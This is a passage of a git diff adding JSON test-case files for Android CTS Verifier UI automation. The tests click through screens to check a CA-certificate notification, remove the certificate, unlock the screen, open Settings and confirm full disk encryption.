certificate authority is installed.\"},{\"type\":\"ClickAction\",\"name\":\"Click Action,remove button\",\"actionId\":\"9ac8f885-7e30-4c3a-ab0b-3da83522e4aa\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button2\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, ok button\",\"actionId\":\"85f0a48e-a01d-4471-ae03-e95c2135c197\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"dc5a920d-e2d1-4dcd-97e4-599444b90894\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Scroll to make sure not find Certificate authority installed \",\"actionId\":\"a16b7cbf-75c4-4c63-8211-08155f621451\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Certificate authority installed\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"196ad097-379e-4343-84dc-e3abbedc749b\",\"displayText\":\"Certificate authority installed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"3ec0c3c3-1a6c-4294-9731-151bc5b90d99\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.view.View\",\"resourceId\":\"com.android.systemui:id/backgroundNormal\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":416.75,\"x2\":356.5,\"y2\":508.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"ba194468-2ed3-43e2-be8b-6427fa0b3f41\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b55b6850-fb22-4e00-88ca-6602c1402c88\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"c9082607-35c7-4fc1-b681-443946e7f1ea\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"9b62297e-4ebd-4ab7-8c67-5d517d722f2d\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"48f13567-d24d-4a0e-a2f8-51f310c77ba8\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":430.75,\"x2\":31.75,\"y2\":446.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"android:id/header_icon_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":430.75,\"x2\":36.0,\"y2\":446.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"4e10a2ad-9169-43c6-94f0-27ee329eedee\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/app_name_text\",\"text\":\"Android System\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":38.75,\"y1\":431.5,\"x2\":112.75,\"y2\":445.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Android System\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"android:id/notification_header\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":416.75,\"x2\":356.5,\"y2\":460.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Android System\"},{\"uuid\":\"746824b6-a2e9-4a9b-94b8-e3b271109f4c\",\"displayText\":\"Certificate authority installed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"57331e39-8c0e-4142-9219-771faf66fd43\",\"displayText\":\"Certificate authority installed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a64bf15c-57b4-44fa-b402-b12ad1bd4ae2\",\"displayText\":\"Certificate authority installed\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Certificate authority installed\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":457.0,\"x2\":342.5,\"y2\":473.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":77.5,\"y\":1.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Certificate authority installed\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/line1\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":457.0,\"x2\":342.5,\"y2\":473.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Certificate authority installed\"},{\"uuid\":\"349f4880-e2bc-426d-8f4f-21d7a0a20bcc\",\"displayText\":\"By an unknown third party\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text\",\"text\":\"By an unknown third party\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":474.0,\"x2\":342.5,\"y2\":490.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"By an unknown third party\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/notification_main_column\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":457.0,\"x2\":342.5,\"y2\":490.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Certificate authority installed\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"android:id/status_bar_latest_event_content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":416.75,\"x2\":356.5,\"y2\":508.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Android System\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/expanded\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":416.75,\"x2\":356.5,\"y2\":508.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Android System\"},{\"uuid\":\"629263a6-4509-45e7-afae-f20d165e83a2\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/fake_shadow\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":416.75,\"x2\":356.5,\"y2\":508.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":416.75,\"x2\":356.5,\"y2\":508.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":102.5,\"y\":464.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":77.5,\"y\":-1.625,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"a64bf15c-57b4-44fa-b402-b12ad1bd4ae2\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Certificate authority installed\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":9.0,\"y1\":456.0,\"x2\":196.0,\"y2\":472.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"19318f81-2790-4fbf-8add-dab577a7dd11\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, pass Step5-Open the notification and follow the link to remove CA certificates.\",\"actionId\":\"efdea6ae-6fcd-4bbf-833c-98d824510785\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Open the notification and follow the link to remove CA certificates.\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"39ef01a5-83f8-44d2-8c55-c6561dd9d671\",\"994a71b3-243b-4770-be0b-bb2c5b28f485\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"2354f99e-5fdc-403f-b7b4-b460c4468c99\",\"553582bb-ae2d-4759-a0a7-f73067bf7e89\",\"0e355b97-b105-4074-8e2f-c4d1e0a69a08\",\"749fc533-dba8-4a12-8638-a35ef48a5b01\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"1ed2536c-bc42-41ff-8528-dea80280c9fd\",\"c7dc292f-d2d2-4f2f-9b30-8f42b06791a1\",\"553582bb-ae2d-4759-a0a7-f73067bf7e89\",\"4d5893f7-a99c-4d8c-a843-4704d124fb57\",\"e0958623-42bf-43e9-839b-9a52f6d2a89a\",\"1ed2536c-bc42-41ff-8528-dea80280c9fd\",\"3fcfa255-d844-4164-8f5c-b7b08bb3f2e3\",\"1ed2536c-bc42-41ff-8528-dea80280c9fd\",\"6e39d7bc-eca0-4c2d-9c8e-bf47cd2eca1a\",\"bb12eaac-0e14-46b6-9639-12d63719864c\",\"304dd8b9-c54f-454b-92e0-63e05c8321d6\",\"ec8da72f-2d44-4168-b47e-e57d36a1eb7e\",\"7f77b9a6-d67c-4592-848a-343c80e3d1d1\",\"6e39d7bc-eca0-4c2d-9c8e-bf47cd2eca1a\",\"9ac8f885-7e30-4c3a-ab0b-3da83522e4aa\",\"85f0a48e-a01d-4471-ae03-e95c2135c197\",\"dc5a920d-e2d1-4dcd-97e4-599444b90894\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"a16b7cbf-75c4-4c63-8211-08155f621451\",\"19318f81-2790-4fbf-8add-dab577a7dd11\",\"efdea6ae-6fcd-4bbf-833c-98d824510785\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_CA Cert Notification Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.229000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6c314101-5195-49ff-88e9-8f78cc8c697b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6c314101-5195-49ff-88e9-8f78cc8c697b
new file mode 100644
index 0000000..ae655f8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6c314101-5195-49ff-88e9-8f78cc8c697b
@@ -0,0 +1 @@
+{"uuid":"6c314101-5195-49ff-88e9-8f78cc8c697b","details":"{\"type\":\"CompoundAction\",\"name\":\"Swipe up to unlock screen\",\"actionId\":\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if lock icon exists\",\"actionId\":\"d7430f0f-0405-45e2-b279-5c0672c995bb\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.systemui:id/lock_icon\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"e8454d6c-df0d-4d84-8561-667a2e32bea8\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.systemui:id/lock_icon_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":160.66666666666666,\"y1\":45.333333333333336,\"x2\":199.33333333333334,\"y2\":138.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":179.5,\"y\":81.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":0.5,\"y\":10.833333333333343,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"e8454d6c-df0d-4d84-8561-667a2e32bea8\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.systemui:id/lock_icon\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":152.0,\"y1\":65.0,\"x2\":207.0,\"y2\":97.0}},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"73ef10f5-d951-4284-91af-2d0559f458a7\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null}],\"childrenIdList\":[\"d7430f0f-0405-45e2-b279-5c0672c995bb\",\"73ef10f5-d951-4284-91af-2d0559f458a7\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Swipe up to unlock screen","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.051000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6d4037a3-a4e4-4bab-9f39-afc62304cf57 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6d4037a3-a4e4-4bab-9f39-afc62304cf57
new file mode 100644
index 0000000..bf0b82a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6d4037a3-a4e4-4bab-9f39-afc62304cf57
@@ -0,0 +1 @@
+{"uuid":"6d4037a3-a4e4-4bab-9f39-afc62304cf57","details":"{\"type\":\"CompoundAction\",\"name\":\"Click launch Settings button\",\"actionId\":\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Click launch Settings button\",\"actionId\":\"d1b2aa0f-aef3-43fa-ba69-f8460cf136f8\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.verifier:id/nls_action_button\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"true\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"d1b2aa0f-aef3-43fa-ba69-f8460cf136f8\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click launch Settings button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.234000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6d46cead-4200-4830-ab73-aa5b72d8cee0 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6d46cead-4200-4830-ab73-aa5b72d8cee0
new file mode 100644
index 0000000..4f636a9
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6d46cead-4200-4830-ab73-aa5b72d8cee0
@@ -0,0 +1 @@
+{"uuid":"6d46cead-4200-4830-ab73-aa5b72d8cee0","details":"{\"type\":\"CompoundAction\",\"name\":\"02_Full disk encryption enabled\",\"actionId\":\"6d46cead-4200-4830-ab73-aa5b72d8cee0\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Full disk encryption enabled\",\"actionId\":\"53ef47df-a61c-449b-9e07-cedc1f76654a\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Full disk encryption enabled\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"d3601bcd-389a-4959-8ef7-acc93d32ad5b\",\"displayText\":\"Full disk encryption enabled\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Full disk encryption enabled\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":407.6666666666667,\"x2\":360.0,\"y2\":449.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":97.0,\"y\":431.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":83.0,\"y\":-2.8333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"d3601bcd-389a-4959-8ef7-acc93d32ad5b\",\"firstText\":\"Full disk encryption enabled\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Full disk encryption enabled\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":3.0,\"y1\":419.0,\"x2\":191.0,\"y2\":444.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Full disk encryption enabled\",\"actionId\":\"29035838-f5f5-4b00-9bf5-060a21ac8f27\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Full disk encryption enabled\"}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"53ef47df-a61c-449b-9e07-cedc1f76654a\",\"29035838-f5f5-4b00-9bf5-060a21ac8f27\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"02_Full disk encryption enabled","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.292000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6e39d7bc-eca0-4c2d-9c8e-bf47cd2eca1a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6e39d7bc-eca0-4c2d-9c8e-bf47cd2eca1a
new file mode 100644
index 0000000..4085bbb
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6e39d7bc-eca0-4c2d-9c8e-bf47cd2eca1a
@@ -0,0 +1 @@
+{"uuid":"6e39d7bc-eca0-4c2d-9c8e-bf47cd2eca1a","details":"{\"type\":\"CompoundAction\",\"name\":\"Check certificate on notification status bar\",\"actionId\":\"6e39d7bc-eca0-4c2d-9c8e-bf47cd2eca1a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to find Certificate authority installed\",\"actionId\":\"7560d48a-692f-4746-8a20-c95a2da66aee\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Certificate authority installed\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"c9433c02-753a-4e61-9f72-842b9636e297\",\"displayText\":\"Certificate authority installed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b032d9d5-c2c1-4cf8-a214-0e2a637ede70\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.view.View\",\"resourceId\":\"com.android.systemui:id/backgroundNormal\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":508.5,\"x2\":356.5,\"y2\":599.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"3861bc5f-58e1-4abd-8287-2e4443a2fed2\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"f932598e-894e-4754-b614-db888ed45802\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"3c8520c8-46c3-47eb-86ca-750275430662\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"6440748c-f854-428f-a293-64b33ea28fa0\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"79063e3f-565b-4d7d-ae8e-a11765a0e138\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":522.5,\"x2\":31.75,\"y2\":538.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"android:id/header_icon_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":522.5,\"x2\":36.0,\"y2\":538.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"d89cf135-d952-4b96-8899-8a06609bc722\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/app_name_text\",\"text\":\"Android System\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":38.75,\"y1\":523.25,\"x2\":112.75,\"y2\":537.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Android System\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"android:id/notification_header\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":508.5,\"x2\":356.5,\"y2\":552.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Android System\"},{\"uuid\":\"c473e04b-99d7-4d09-9865-e8aacaf96e30\",\"displayText\":\"Certificate authority installed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"2c7961da-2c0d-4a6c-95ce-6e6390a17181\",\"displayText\":\"Certificate authority installed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"1c898d30-a210-4145-bd54-45d2366e4b64\",\"displayText\":\"Certificate authority 